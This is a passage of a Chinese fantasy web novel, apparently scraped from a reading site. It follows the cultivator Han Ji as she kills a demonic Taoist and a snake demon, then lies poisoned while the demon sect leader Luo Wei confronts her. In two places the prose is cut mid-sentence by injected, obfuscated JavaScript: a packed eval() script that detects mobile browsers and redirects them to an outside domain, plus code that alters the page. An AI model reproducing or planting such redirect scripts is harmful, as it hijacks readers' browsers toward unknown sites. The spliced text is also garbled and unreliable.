他闷哼一声,立即扯回拂尘,身姿如同鬼魅一般轻飘飘地后撤几步,遥遥站定。 韩纪也不追击,如今她灵力虽仅有前世的五分之一,但对付一个不入流的妖道,绰绰有余。 富山老祖只道自己方才轻敌才落入下风,却不知眼前之人并非是他眼中小门小派、不足为惧的楚清妙,而是有史以来最年轻的一宗之主,韩纪。 他往地上啐了一口,瞧向韩纪的目光中仍带着几分轻蔑,道:“小丫头,有几分运气!”说罢,手中拂尘宛如一条毒蛇一般击出,韩纪尚未看清攻势,黑沉沉的雾气便四散开来,将韩纪裹在其中。 一时之间,昏天暗地,拂尘宛若疾风骤雨一般朝韩纪攻来,一分为二,二分为四,变换之间,竟化为千丝万缕,将人围困其中,叫人避无可避。 见状,仙门弟子又开始长吁短叹起来。 仇千水道:“楚清妙,你不可能打得过他的!你快快走吧!莫要给仙门丢脸!” 裴云齐也急声催促道:“楚清妙,你莫要逞强!赶紧回仙门道盟报信,不要白白丢了性命!” 付子英则是高声大喊道:“死妖道!臭妖道!破妖道!有本事解开锁链,让姑奶奶和你真刀真枪地干一场!” 还有一些弟子已经悲哀地流出泪来,只道今日必死。 数不清的声音被卫朔焦急的声音打破,他见楚清妙被围困黑雾之中,余光瞥见黑雾中的一道身影,惊呼一声提醒道:“小心上面!” 韩纪纵身而起,手中青木杖翻转,巧妙地将那击来的拂尘缠到一处。待到富山老祖回过神来,一尾拂尘已结结实实地握在韩纪手中。拂尘尾部传来巨大拉力,他知自己若紧握拂尘不放必将被连人带拂尘的拉出黑雾之中,果断松开手来,隐去身形,伺机偷袭。 这边韩纪猛地一拽,却只拽出一柄拂尘,正诧异间,便察觉身后黑雾浮动,一道身影如同鬼魅一般倏忽迫近。 富山老祖甫一靠近,左手飞快探出,牢牢扣住韩纪左肩,右手使一招穿胸破肚手直插韩纪脑门,势必要取韩纪性命。 便在这千钧一发之际,韩纪高举青木杖架开富山老祖五指,脚下用力猛地翻身,以青木杖将那富山老祖牢牢压在地上,化守为攻。 富山老祖扑通一声跪倒在地,双腿触及的砖瓦“砰”的一声碎为齑粉。 韩纪倒立在半空之中,一手握住青木杖压制妖道,一手捻诀施法。 青木杖上灵光闪动,妖道握住青木杖的手便冒出滚滚黑烟,惨叫痛呼声一阵高过一阵。 富山老祖此时心急如焚,倘若松开手,青木杖便要击中他的胸膛,想发力震开,却不曾想眼前这个黄毛丫头周身灵力强悍至极,自己根本不是对手。 眼见须臾之间便要魂飞魄散,他不可置信地抬眼看去,一双冷冰冰的眼睛便在他脑海中睁开。 不知怎么,一百多年前被打瞎的右眼居然破天荒地发出刺痛。 此时二人已在黑雾之中,外头是什么情形皆看不着,韩纪只听得外头的仙门弟子大喊大叫道:“你们这些歪门邪道!不讲武德!以多欺少!”又听得卫朔喊道:“楚师妹,刀剑无眼,你当心!”她偏眼看去,十余名侍卫手持长枪闯入黑雾之中朝她腰腹间刺来。 富山老祖心中大喜,不顾疼痛牢牢抓住青木杖,将韩纪锁在半空之中。 韩纪当即一掌击向他面门,逼得他松开手来以掌相对。 双掌相交,韩纪借着掌力高高跃起,富山老祖却一口鲜血喷溅出来,踉跄倒地。 如此一来,那十余把长枪便刺空了,侍卫们惊奇之时,却见一青衫女子足尖踏在长枪交叠之处,他们举枪遇刺,使尽浑身力气也无法将长枪自女子脚底移开。 一时之间,十余人皆面露惊惧,再回过神来,已被震飞十余丈外,个个口吐鲜血,手中长枪也已断成两截。 四周弥漫的黑雾渐渐消散,韩纪立在诛妖台上,回身看向城主府大殿。 富山老祖此时丢盔弃甲,踉踉跄跄地往大殿中奔去。 韩纪抱胸看他,吹了声口哨,问:“人皮子狗富山,你眼睛还疼不疼?” 富山老祖狂奔至大殿檐下,他料想如此遥远的距离纵使那楚清妙本事再大,也伤不着自己,因此闻言放慢脚步回头望去,望见雾气之后立着一人身影。 他脑海中猛然浮现百余年前的一个深夜。 那时的他还只是一个为了生计打家劫舍的可怜人,半夜劫道遇见了一男一女,自己的右眼便是那时被女人打瞎。 若非他谎称是为了家中妻儿迫不得已做此行当,引得那男的出言相劝说是给他一个改过自新的机会,自己一百年前便要死在那女的剑下。 此言此语,此情此景,他被吓得浑身大汗,脚软腿麻,双手刚推开殿门,一粒碎石便穿破重重黑雾袭向他面门。 “砰”的一响,碎石打穿他的左眼,嵌在那殿门之上。 富山老祖双目已盲,只觉眼眶发烫,头脑剧痛,惨叫连连。 那碎石虽是凡物,韩纪击出之时却施了除妖法诀,因此如今与碎石相接之处,都溢出黑烟来,眨眼之间,犯下无数杀业的富山老祖便在刺耳的惨叫声里化为一滩血水。 诛妖台上绑着的仙门弟子只见富山老祖奔逃,不见其死, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一些弟子开始轻声催促起来,只道待那殿中妖邪追出,自己毫无还手之力,眨眼便死。 卫朔眼见身边众人都面色苍白,手脚颤颤,便是自己此时握住惊风剑也有些勉强,不由心想:“我拼尽性命尚有一战之力,可这些师妹师弟伤重难愈,手无寸铁,留在此处,楚师妹一边迎敌一边还要顾及他们的安危,实在不妥。” 于是他朝韩纪躬身一揖道:“楚师妹,此番搭救,便是千恩万谢也难表我心中感激之情。只请你千万保重,待我将他们送到安全之处便来助你一臂之力。” 说罢,他一手提剑,一手搀扶着付子英,带着其余六名仙门弟子往殿外奔去。 四面八方奔出侍卫来截这八人的退路,仙门弟子大惊失色间顿住脚步,卫朔一脚踹开两个,正欲拔剑,一根木杖自他身后飞出,将眼前拦路之人尽数击倒。 眨眼之间,短短几丈青石砖上,躺了数十个哀哀叫唤的侍卫。 韩纪的声音在身后响起,又似从极冷极高的山巅之上传来。 “你们所保卫的并非是造福万民的城主,而是夺去城主尸身、残害生灵的妖孽。今日我来此只为斩杀蛇妖,不愿伤你们性命,你们速速退下,再敢拦路,富山老祖便是你们的下场。听我一句,丢掉手中刀剑,逃命去吧。” 围困诛妖台的侍卫们想到富山老祖化为血水之貌,面面相觑,谁都不敢再上前一步,只得放那八名弟子离开。 他们早已不知晓谁是妖谁是仙,只得将目光投向大殿中不动如山的谢必贞。 谢必贞厉声喝道:“这人端午夜宴上分明与蛇妖厮混一处,如今又来说我是蛇妖,诸位莫要被她蒙骗了!” 八名仙门弟子方奔出城主府府门,便听得身后一声巨响,回头望去,只见一道由妖气凝成的妖墙自府门前升起,吱呀一声,城主府厚重的铁门缓缓关上。 在城主府府门关闭的最后一刹,卫朔回身望去,双眸震颤,面容失色。 狂风大作间,她一人立在刀枪剑戟之中,一身青衫如狂狼涌动,满头青丝伴长风飞舞,此时天昏地暗,四处无光,可偏生她眼中精光如电闪动,身躯坚定如雪中青松,神威凛凛,动人心魄。 32. 悬息壤现 城主府大门紧闭,府中诛妖台上数百名侍卫手执刀枪棍棒朝韩纪扑来。 韩纪正要出手制敌,心中却不禁思索:“这谢必贞明知我一出手,这些未修炼过的侍卫便有如纸人一般非死即伤,为何又设下这个埋伏?” 她目光落在那大殿上隐隐闪动的雷电上,脑海中跃出一个念头:“这雷云确实是大妖出世才会降下的天罚,可雷电未至,说明修蛇因缺失邪骨尚未复活,如今仅是残魂。若我将这数百名侍卫一道打死,必定血流成河,遍地尸骸,一是济安寺高僧在蛇骨上施加的佛光将被凡人血气侵蚀,修蛇必定伺机夺回蛇骨;二是修蛇嗜血为生,必然妖力大增,到时我恐怕无法将他诛杀。” 韩纪身随意动,足尖轻点便跃上诛妖台上高不可攀的诛妖柱上,如此一来,诛妖台上高喊着杀蛇妖的侍卫们纷纷围着诛妖柱转起圈来。 韩纪垂眼望向殿中阴沉着脸的谢必贞,心道:“除非让谢必贞在他们眼前显出原形,不然他们决计不会离去。”于是她挑衅道:“谢必贞,不必使这些鬼蜮伎俩,我站在这里等你来杀。” 谢必贞自是想用凡人困住韩纪,当日在端午夜宴上,便是数百名凡人打得这位身中修蛇之毒的一代天骄毫无还手之力。 她暗自笑道:“仙门中人自诩除魔卫道,护佑苍生,虚伪至极。我倒要看看生死存亡之际,他们还会不会顾念这些凡人的性命!”思及此,她耳边仿佛又想起当年主人将死之际的呻吟声,那声音忽远忽近,忽长忽短,却痛苦非常。 谢必贞满目通红,再看向那好似落在云端的青影,一时之间怒上心头,恨不得将她挖骨剥皮,断脉抽筋。 “凭什么你还活着!”谢必贞厉声高叫,抽出腰侧的软剑冲上诛妖柱,朝韩纪迎面刺去。韩纪脚下生风,身影倏忽间越过几根立柱,不断的在八根诛妖柱上腾挪闪躲。 谢必贞几番出手都扑了个空,怒气上冲,出手更是狠辣非常。 二人脚步追逐间,诛妖柱上的铁链被震得叮当作响,地下的侍卫也弯弓搭箭,朝韩纪射来。韩纪不闪不避,待箭矢将要触及衣裳之时,向后翻出,那些箭矢便冲着紧咬韩纪不放的谢必贞去了。 谢必贞软剑本攻向韩纪肩头,如此一来却不得不回护自身,情急之中,脚下一滑便要摔下立柱。韩纪眼疾手快拽住她,另一只手顺延而下在她身上几处大穴上打入黄符。 黄符触体,谢必贞神情痛苦,万千松针一般低垂的发陡然间张裂开来,隐隐化作一条巨大的犬尾。 谢必贞后知后觉地猜到韩纪的意图,一脚蹬开立柱转身要逃,却不曾想韩纪的影子始终笼在自己身上,无论如何也逃避不开。 仓皇逃窜间,一股灵力自她头顶击入身体之中,她登时头昏脑乱,只觉天地翻转,眼前浮出阵阵金光,那金光一道道钻入体中,四肢百骸都咯咯作响。 眼见着要在数百名侍卫眼前露出真身,谢必贞拼尽最后一丝理智扑向大殿之内。 虽说谢必贞在最后一刻扑入了阴沉沉的殿内,但诛妖台上,大殿檐下的侍卫们都看清了她发丝变为犬尾,四肢变为犬足的怪异模样。 一众侍卫无不骇然,脸色巨变,进退无度,四散开来,各自逃命。 韩纪从诛妖柱上跃入大殿,白玉阶上,陆权野圆睁双目倚靠着太师椅。 他苍老的皮肤上泛起黑色的妖纹,双目也化为竖瞳,死死盯着韩纪。 韩纪手执青木杖,一步一步向他走去,却不曾想一头巨大的金犬从阴影中扑出,一口咬向韩纪的头颅。 韩纪挥杖架住犬牙,一脚将它踹开,刚站起身,那犬又将她扑倒在地。 她正欲催动符咒将这金犬灵识打散,却听得轰隆隆一阵巨响,殿外传来铺天盖地的惨叫声。 陆权野桀桀大笑着,韩纪高举青木杖格开金犬爪牙,偏头看去,大殿之外,整个诛妖台陷落地底,在院中形成一个向下漏斗,露出一个深不见底的黑窟窿。 数百名侍卫被黑气席卷着往黑窟窿中滚去,犹如杀猪般的惨叫一声高过一声。 不过片刻,惨叫声停止,血液渐渐从黑窟窿中溢出,沿着院落四周的沟渠汩汩流动,汇聚成一个绕着大殿的诡异阵法。 城主府内,妖气大作,韩纪周身灵力震动,将那金犬击飞。 她正要向陆权野击去,却不曾想那苍老身体忽的闪到自己身前,长短变化之间竟如一条蟒蛇一般将韩纪牢牢锁住翻滚在地。 轰隆隆三道天雷劈落,都劈在韩纪身上。 韩纪挣开陆权野的手,挥动青木杖将他击飞,可三道天雷之下,她眼前一黑,神识震荡,哇的吐出一口鲜血,身子摇晃倒在地上。 陆权野高声大笑,声音越来越尖,直至最后竟化作了毒蛇吐信之声。 “韩纪!又是你!从你踏入巴陵城的那一刻,我就认出你身上的味道了!我忘了谁也不能忘了你,如果不是你,我何苦受这百年的痛苦!”陆权野如蛇一般眯起眼瞳,吐着舌头,恶狠狠道,“亏得是你,不然这三道天雷,我真不知谁人可以替我抵挡!交出蛇骨,我让你死得痛快!” 韩纪以青木杖支地撑住身体,妖风吹动她身上衣裳,黑雾拂过她发丝,却无法搅乱她眼中光亮。 她伸手擦去唇边血迹,冷眼看着陆权野,苍白的脸上扯出一抹十分轻蔑的笑,傲狠非常:“蛇骨在我身上,想要,自己来取。” 陆权野闻言大怒,鬼魅一般朝韩纪扑来。 韩纪双手紧握青木杖,待陆权野扑至眼前之时,翻转身体用青木杖勒住他的咽喉躺倒在地。 彼时,毒牙也已咬入她的肩膀,毒雾自她肩头弥漫开来,眨眼间就侵蚀了她大半个肩膀,韩纪却似无知无觉一般默念法诀。 大殿之上,原本沉寂的雷云翻滚涌动起来,一柄由雷电聚成的巨剑缓缓落下。 眨眼之间,殿上瓦片圆木眨眼便无火自焚,化为灰烬,扑簌簌地落下来。 巨剑放出电光,距离二人之躯仅有一丈之遥。 陆权野挣脱不开韩纪的禁锢,眼见要在雷电巨剑下神魂俱灭,竟然大笑道:“哈哈哈哈我身躯残破,魂魄不全,能让你与我一道赴死,也算大仇得报!” 笑声戛然而止,一柄软剑割破了陆权野的脖颈,鲜血流出,陆权野狼狈地捂住伤口,松开了韩纪的肩膀。 韩纪收回雷电巨剑,自身也被这股力量反噬。 她忍着胸腹传来的剧痛将陆权野顶翻在地,一杖插入他的胸膛,随即催动法诀,飞快将三十六道黄符一并打入他身中。 一阵电光之后,陆权野的肉身不再颤动,无数的黑烟自他的七窍中溢出化成巨蛇头颅撞向韩纪胸膛。 韩纪躲闪不及,被巨蛇掀飞,砰的一声砸翻了大殿正中的滚烫香炉,火星散落间,她摔落在地,疼得好半晌才抓起青木杖摇摇晃晃地立起身来。 躺在地上的陆权野似乎恢复了一些理智,却又仿佛没有,他如木偶一般僵硬地偏头看向另一侧手执软剑的谢必贞,痛苦地吼叫起来:“为什么?为什么要背叛我?!为什么要背叛我!” 这也是韩纪想问的。 方才妖气大作之时,谢必贞便借由那逸散的妖气恢复了人形。 她与蛇妖缠斗之时,还提防着谢必贞偷袭,却不曾想她在关键时候出手帮了自己。 谢必贞手中的软剑低低垂着,剑身殷红一片,像一条沾水的红绸。 她呆呆立在殿上,凄然一笑,泪珠滚落,颤声道:“你不是我主人,我与你之间谈何背叛。” 陆权野闻言高声大笑,彼时他的面容已经掩映在数不清的黑烟之中,只有声音盘旋在大殿之上。 “蠢货,我骗了你一百年!你是怎么看出来的!” 谢必贞毫无生意,随意地丢了手中的软剑,缓缓走到那冒着黑烟的身躯之前,跪坐一旁,伸手将那身躯的头颅扶正,方才轻声答道:“我很恨她,我巴不得杀了她,可主人不会杀她,我知道的,他宁可杀了自己也不会杀她。” 她在陆权野意欲将韩纪吞吃入腹之时便幡然醒悟,她的主人死在了她的血液之下,如今这副身躯里活着的只是修蛇的残魂。 她亲手杀了他,毁了他所珍视的一切。 黑烟眨眼之间凝在半空,化作一条黑气腾腾的巨蛇,双眼猩红,毒牙吐雾。 韩纪冷声叮嘱谢必贞:“将他的身躯搬远些,我要在此诛灭这蛇妖。”说罢,单手捻诀在大殿之上布下一道金光屏障。 巨蛇本欲逃窜,却无法穿破那道金光屏障,只得回身张着大口朝韩纪扑来。 蛇口吐出的气息剧毒无比,凡喷射溢溅之处,眨眼间都被毒气溶解成一滩烂泥。 韩纪不得不 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在她不断的言语挑衅下,巨蛇的怒气已到达最高点。它在寻到韩纪身影的瞬间猛地伸出,巨大的头颅里喷出毒焰,只消沾上一点,它的毒液就可以将韩纪杀死。 毒雾升腾,韩纪连忙后撤,却在后撤之时,往那可怕的毒雾之中掷出一物。 那东西只有指节大小,坠地之时已被层层粘稠的毒液包裹,眨眼之间便被侵蚀出五六个孔洞来,巨蛇正欲低头细看,那东西却被韩纪以隔空取物的法诀又取了回去。 韩纪望着手中以灵力包裹着却还在缓缓溶蚀的骨坠,轻笑出声。 巨蛇不解她为何死到临头还在装腔作势,正欲一口毒雾将她杀死,却不曾想自己浑身传来蚀骨之痛。 它意识到了什么,疯狂地嘶吼起来,身躯也随之开始剧烈扭曲。 韩纪笑道:“你一直要找的邪骨,就在方才已经被毒焰焚毁了。百年前,我找了无数方法都没能将这块蛇骨消融,方才你说你的毒液能消解万物,看来是真的。” 说罢,她双手掐诀唤出天雷。 雷云凝聚,巨蛇猛烈地冲击大殿上的屏障。 一道道惊雷如匹练般劈下,在一声又一声的嘶吼声中,巨蛇的身躯轰然倒塌,黑烟弥漫开来,邪气散尽,无数溢着光的碎屑也从那黑烟之中缓缓飘出。 那是被修蛇所害的生灵的魂魄,如今他们四散开来,仿佛是一场大火后残存余温的灰烬。韩纪孤身一人立在这即将消散的魂魄碎屑之中,莹莹光亮中,她面庞如玉,眼神似冰。 谢必贞抱着那具苍老的尸体静静靠着阶梯,无数光屑从她身后散出,遮蔽天日的妖气与黑云不见踪影,一轮红日远远的,暗暗的城楼上沉了下去。 夕阳冰冷的余晖拂照在她与那具尸体的身上,她背上那个被毒雾侵蚀的大洞不断渗出黑血,而她如一尊残破的雕塑般动也不动地伫立在黄昏之中。 听见韩纪的脚步声,谢必贞没有回头,只是颤抖着手从怀中扯出一只锦囊丢给韩纪。 韩纪解开锦囊,里头是一个白玉小瓶。 “这是主人让我务必要送去寒山宗的东西,其实刚开始的那两年,我送去过。只是寒山宗宗主已死,寒山宗山门紧闭,我一个没什么道行的妖精根本进不去。” 韩纪将白玉小瓶上的封条解开,逆着光往里头看去,只见里头是数十粒小药丸——不对,韩纪再仔细瞧去,这些药丸都隐隐散出金光,正是悬息壤无疑! “主人还让我将一句话带给寒山宗门人。”谢必贞盯着怀中尸体长满皱纹的脸,伸手缓缓拂过苍白的发丝,眼前仿佛又浮现陆识舟的音容笑貌。 她的声音越来越小,韩纪不得不蹲下身来凑近她听清楚她的低喃。 谢必贞苍白的脸上显出笑容来,抬眼看着韩纪,眼光中露出又怨恨又讥讽的神色,道:“他说——一定要杀了你!绝对不能让你活着!” 韩纪正诧异着,谢必贞便忽然抽出匕首朝她刺来,她仰头后闪,匕首贴着她的脖颈划过,未伤到她分毫。 韩纪沉下脸来,厉声喝道:“你就那么想死在我手上么?” 方才这一击,已经耗尽了谢必贞所有的力气,她的身子滑落下去,只剩嘴巴不断地发出癫狂狰狞的大笑声。 “太可惜了,要是死前能拉你垫背,那该多好……” 33. 天生万苦 韩纪没有动手杀谢必贞。 杀不杀都不重要了,谢必贞要死了。 韩纪注视着谢必贞的面容。 原本乌黑浓密的发在夕阳残余的色彩中如一朵枯萎腐烂的花朵一般渐渐失去了光泽。 远处高飞的鸟群不断在城楼之上盘旋。 韩纪眼前仿佛又浮现当年与卫长风、陆识舟在破庙门前捡破烂的日子。 一百多年前,她与卫长风虽破除了巴陵城城主的阴谋,击退了修蛇,但也因修蛇之毒法力尽失,二人饿得前胸贴后背,靠着陆识舟带着安宁在街上卖艺乞讨才得一口饭吃。 那时候陆识舟还不叫陆识舟,他带着小狗四处乞讨,韩纪整日叫他“带着小狗的那个”,他也整日“陆小狗”的自称着。 韩纪想起他当时呆呆傻傻的模样,忍不住想笑。 可目光落在那具破碎而苍老的躯体上时,她脸上的笑容也凝住了。 人之将死,其言也善。 妖呢?妖会说什么好话吗? “韩宗主……”谢必贞闭着眼睛,断断续续地说,“你说……我死后……能不能再见到主人?” 未待韩纪开口,她又呢喃道:“见不到也好……我干了这么多错事……主人见到我会骂我……他会难过的……” 靠着尸体的肩膀,谢必贞的脑袋如同天边的太阳一般垂了下去。 夕阳的余晖在此刻落进了湿润的土壤里。 凄冷的夜风吹过谢必贞的尸首,一条小狗趴在苍老的主人肩上静静沉睡着。 又一阵风吹过,陆识舟支撑了七十余年的尸身随风化去了,冰凉的石阶上只有一条小狗蜷缩着的尸身。 韩纪挖了个坑将狗尸埋葬,施法灭了殿中因雷电而燃起的火焰,提起青木杖慢慢地走出城主府。 几道焰火在空中闪过。 韩纪凝目瞧去,巴陵城上浮现巨大的祥云纹,这正是明霞宫弟子号集之令,随即仙门道盟的法纹也在巴陵城上空闪烁。 “仙门道盟的增援这么快就到了?”韩纪暗暗感叹着,转身往相反的方向走去。 此次增援之中,说不准会有仙门道盟的各位长老,若是被他们察觉异样,后面自己恐怕会卷入更大的风波之中。 出巴陵城时,天完全黑了。 韩纪准备赶回济安寺,可身中剧毒,失血过多,她必须立刻找一个安全的地方疗伤。 巴陵城渐渐亮起灯。 韩纪站在林中四下眺望,见山谷之中隐约有间屋子,一无炊烟,二无火光,是个弃屋无疑。 她缓步走至屋前,见木门之上贴着的桃符已然褪色,推开门,屋内也甚为简陋,满地尘土,满墙蛛丝,仅有神龛上下的神台上还有几柱残香与半截蜡烛。 韩纪强撑着剧痛的身体在屋前屋后贴上障目符,点了蜡烛,在神龛下方的空地调转体内灵力疗伤。 随着灵力流转全身,她的面容也逐渐苍白,身子止不住地打起颤。 被咬伤的肩膀溢出黑烟,一股至阴至邪的妖毒正在与她体内的灵力抗衡。 两股力量在她身体之中撕扯,她浑身沁出一层又一层的冷汗,如坠寒冰地狱。 韩纪颤抖着手将那瓶悬息壤凝成的药丸倒出,双掌击出灵力将其一齐炼化入体。 清澈的如同山涧活泉的灵力在摇曳的红烛之下流动起来,飞快地钻入韩纪的七窍之中。 她体内的灵力登时如同滔滔不绝的江水一般翻涌着冲向那股阴邪的妖毒。 眼见灵力即将驱散妖毒,韩纪却眉头紧锁。 悬息壤封印解开,但随之涌出的除了灵力,还有一层极其诡异的毒素。 那股毒素顷刻间随着灵力运转遍布韩纪全身,她体内的妖毒之力随即大涨。 两股力量对冲之间,韩纪的身体剧烈颤动,气血翻涌、心跳加剧。 木屋之上,原本消散的雷云也渐渐聚集,便在灵力压倒妖毒的刹那,数道天雷劈落。 韩纪避无可避,被这几道天雷击中,气息运转不及,灵力与妖毒一齐在经脉之中奔散,浑身上下经脉交汇之处发出迸裂之声,口中鲜血如柱般喷涌,当即晕死过去。 黑风飒飒,山林之中响起狂风呼啸声,漫天落叶之中,有人来到了木屋之前。 木门上的障目符被破开的瞬间,韩纪在烛火摇曳中睁开了眼。 猩红的蛇纹在她眉间浮现,瞳孔震颤之中,无尽的鲜血在她脚下铺开。 她挣扎着爬起,身体靠在墙上,透过紧闭的木门看见两道发红的影子。 两只大妖,一前一后,正推开屋门。 一声闷响,门栓被震断。 一道熟悉的声音响起:“你在外面守着,我自己进去。” 另一道声音回道:“宗主,此处雷云密布,务必小心。” “嘎吱”一声,木门被推开,一个人影走了进来。 那人的面容隐在烛火的阴影之中,直到他将木门紧闭,韩纪才勉强看清他的脸。 阿随?宗主? 韩纪在心中咂摸着这两个称谓,没开口唤他。 昔日他只是一个任她拿捏的半妖,她自以为掌控着他,可如今落难才猜出他的身份。 万法妖宗宗主,洛渭。 想来这一路他早将自己身份识破,只是为了将自己玩弄于股掌之间才会与自己相伴。 如今敌为刀俎,己为鱼肉,又有什么好说。 洛渭一步一步走到她身前,蹲下身来,面容阴沉至极。 他是妖,走进屋子的那一刹那,他就闻见她身上的血腥味了。 烛光映照之中,他看见她苍白的面容,散乱的鬓发,浴血的青衫。 “她怎么会受这样严重的伤?是谁伤的她?”洛渭这样想着,面上却显出冷笑。 “韩宗主,你一生以除魔卫道为己任,死在你剑下的妖魔不计其数,相传就连挚友卫长风你都不放过。你说若是仙门道盟的人看见你现在的模样,要不要将你当成蛇妖杀了?” 韩纪闭上双眼,眼前果然浮现万妖殿上卫长风死在神谕剑下的情形。 她在心底暗暗自嘲,自己死时的情形全然记不得,卫长风如何死的却记得清清楚楚。 等不及韩纪开口,洛渭双手握住韩纪的肩,双目猩红,逼问道:“你说话,仙门道盟的人看见你,会不会将你杀了?要不要将你杀了!” 韩纪被他这样一晃,只觉周身奇冷无比,每一根骨头都冻得咯咯作响。 她强忍疼痛,睁开眼,满头虚汗,咬牙切齿地说:“是妖就该死,作乱就该死,我若异化成妖自然也该死。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941799|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 洛渭猛然松开手,如看怪物一般看着她,冷声道:“真是个疯子。” 韩纪扯出一个难看的笑。 她已将青木杖握在手中,若她真被妖毒所控,青木杖将会击碎她的头。 如若洛渭出手击杀她,她也必将与他同归于尽。 洛渭忽然开口:“韩宗主,我知道其实天底下的妖魔在你眼中都好似蝼蚁一般。可我万万没想到,从人妖之市到巴陵城,我们一路走来度过的那么多日夜,竟也换不得你对我半分怜悯。” 他似乎极为伤心,韩纪却不知道他有什么可伤心的。 她呵呵笑起来,觉得一定是上天看她死到临头了想让她高兴一点才让她听到这样荒诞的笑话。 她越笑,胸腔越疼,越笑,内息越乱,可她就是忍不住想笑,直至最后,笑着呕出一口黑血来。 她无力擦去嘴角的血,只得将头靠在墙壁上,斜睨着他,慢慢道:“寒山宗立派三千年,除我之外宗主共有三十二位,与妖相斗战死宗主三十二位,弟子上千。你不过是一只妖,居然想让我怜悯?” 洛渭面色愈发阴沉,强压着怒气,一言不发。 韩纪感受到他因愤怒而迸发的强大妖力,闭目等着他的杀招,却不曾想他竟什么也不做,只是于暗夜之中静静地凝视着她。 良久,他道:“站在木门之前时,我其实有很多话想和你说。” 他顿了顿,又道:“你究竟清不清楚,锁妖契已解,现在的我是真的会杀了你,真的可以杀你。” 韩纪望着他隐在阴影中的面容,忽然觉得身体里传来一阵剧痛。 她不知这剧痛究竟是身负重伤引起的,还是骤然得知那只小狐狸其实是足以引起人间暴乱的大妖而导致的。 剧痛之中,她不合时宜地想,如果五脏六腑会起鸡皮疙瘩的话,她的心脏应该已经被鸡皮疙瘩爬满了。 “那很好。”韩纪强忍痛意,神情镇定,“你今日不杀我,来日再见我必杀你。” 洛渭被她激怒,伸手掐住她脖颈,手腕微微使劲,恶狠狠道:“韩纪!你当真以为我下不了手吗?!” 脖颈生疼,胸腔窒塞,喘不过气,韩纪唇边一道鲜血从嘴角缓缓流下,却依旧双目紧闭,极为艰难地说道:“要杀便杀……你若想看我跪地求生……没可能。” 粘稠温热的血沾上了洛渭手指,他如同被火烧一般缩回手来。 他慢慢退后,面容阴在黑暗中。 拉开木门之际,洛渭回头看着角落中那如纸般单薄的身影。 夜风瑟瑟,残烛将熄,韩纪身体斜倚着墙,往日如玉如冰的脸庞如今灰扑扑的沾满红痕。 他只看了一眼,心中便生出无边怜意。 可转瞬间,他又想起那日坠下汨罗江时,他也是这样看着她。但最后映入眼帘的是那样决绝的背影。 前尘往事暂且不提,她不记得他不怪她,可巴陵城中他为她斩断毒蛇,为她饮下毒酒,甚至不惜为她以半妖之躯挡下神木简。 可在她眼中,他的命是草芥,是浮尘,他是生来就贱的牲畜,是随时可以放弃的累赘。 而这一切,只因为,他不是人。 夜风冷冷,汨罗江的江水也很冷。 洛渭垂眼道:“韩纪,你一定会后悔的。” 34. 孤雁难飞 轰隆隆雷声大作,转春剑穿过一名女子的右胸。 长剑离体的瞬间,那女子身子摇晃,倒在韩纪怀中,鲜血有如泉涌,眨眼间便将韩纪的上衣染透。 韩纪声嘶力竭地大喊:“神谕剑!杀了他!” 卫长风的身影被黑气裹挟飘然远离,神谕剑应声而出,朝着黑气追去。 女子在韩纪怀中剧烈咳嗽着,方才那一剑已然将她重伤。此刻她面白如纸,却仍护着自己的肚子。 韩纪循着她的目光看去,只见她肚儿滚滚,显然是怀有身孕。 韩纪施法救她,可不知为何,她的灵力注入女子体内却如同泥牛入海一般一去不回。 女子面上血色一分分的消退,手脚一寸寸的冰冷下去。 她几乎注入了半身灵力,便是神佛在世也不过如此,可那女子只是不断地咳嗽,吐出一口又一口鲜红的血。 女子再也支撑不住,在她怀中不住哀求:“仙长……求求你……” 韩纪看向她颤抖的双唇,听见了那微不可察的声音。 “剖开我的肚皮……” “救救我的孩子……” 韩纪睁开双眼,双手却似乎还在那女子腹腔之中。 她清清楚楚地记得自己是如何破开那女子的肚皮,扯开一层层的肉,将那满身是血的婴儿从惨叫着的女子身躯之中取出,彼时那婴儿身上的脐带还连着女子的血肉。 韩纪的头开始剧烈的疼痛起来,手臂脸颊上逐渐浮现出蛇鳞。 “仙长……求求你……剖开我的肚皮……” 女子的声音从四面八方传来,韩纪痛苦地捂住耳朵。 “杀了我……求求你……杀了我……” “剖开我的肚皮……” “救救他……” 韩纪匍匐在地上,手指沾血在地上画出除妖阵。 她知晓此时此刻所听所见,所思所想都是因那体内的邪毒而起。 她面容扭曲,不住地将自己的脑袋磕在地面上以求片刻清醒。 鲜血顺着她的额头垂落,忽然木门被人推开,一个身影朝她扑了过来。 “楚姐姐!” 那人快步奔至她身侧,颤抖着手将她从地上扶起,止不住地啜泣。 韩纪坐在除妖阵中,门外涌进的寒风让她短暂的恢复了几分清醒。 她偏头,看见一侧手足无措、低声啜泣的顾盼英,想伸手替她拭去泪水,却无论如何也抬不起手来。 韩纪叹息一声,颤声问她:“哭什么哭?有什么好哭的?” 顾盼英本就害怕,听她这样这样一说更收不住声,泪如雨下道:“你流了好多血,我该怎么办?怎么才能救你?” 韩纪周身剧痛,又担心吓着她,只好咬牙硬撑道:“没事的,一个人的血是有限的,血流干了就不会再流了。” 顾盼英吓得面色惨白,直道:“血流干了你会死的,你死了该怎么办……姐姐……我要怎么救你……我怎么才能救你……” 似是想到了什么,顾盼英抱紧韩纪的身体,一边要将她扶起,一边道:“姐姐,我带你回济安寺,住持肯定有办法救你的。” 韩纪却拦住她的手,幽幽道:“你快些走吧,我这个样子外头仙门道盟的弟子看见了会一剑把我杀了。” 其实韩纪真正担心的是出了除妖阵她若真的被邪毒控制,顾盼英会死在她的手里。 顾盼英的泪水一滴一滴落在韩纪的脸颊上,她心乱如麻,却恨自己蠢笨找不到办法。 韩纪见她不走,只好骗她:“我是蛇妖,一会儿我好了我会吃了你的,你快走吧。” 